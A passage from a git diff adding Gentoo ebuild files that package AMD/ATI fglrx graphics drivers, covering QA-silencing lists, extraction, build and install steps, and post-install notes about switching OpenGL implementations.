+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch || die "Failed to epatch powermode-opt-path-2.patch"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal libraries
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+}
+
+pkg_postinst() {
+	elog "To switch to ATI OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "You will have to source /etc/profile (or logout and back in) for dri"
+	elog "to work, unless you previously had ati-drivers installed."
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-11.11.ebuild b/x11-drivers/ati-userspace/ati-userspace-11.11.ebuild
new file mode 100644
index 00000000..14f897db
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-11.11.ebuild
@@ -0,0 +1,412 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib opencl"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="<=x11-base/xorg-server-1.11.49
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch || die "Failed to epatch powermode-opt-path-2.patch"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	use opencl && dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+	# OpenCL
+	if use opencl ; then
+		insinto /etc/OpenCL/vendors/
+		if [[ "${ABI}" == "amd64" ]] ; then
+			doins "${ARCH_DIR}"/etc/OpenCL/vendors/amdocl64.icd || die "doins failed"
+		else
+			doins "${ARCH_DIR}"/etc/OpenCL/vendors/amdocl32.icd || die "doins failed"
+		fi
+	fi
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)
+	if use opencl ; then
+		doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/lib*.so*
+	else
+		doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+	fi
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+}
+
+pkg_postinst() {
+	elog "To switch to ATI OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-11.12.ebuild b/x11-drivers/ati-userspace/ati-userspace-11.12.ebuild
new file mode 100644
index 00000000..14f897db
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-11.12.ebuild
@@ -0,0 +1,412 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib opencl"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="<=x11-base/xorg-server-1.11.49
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
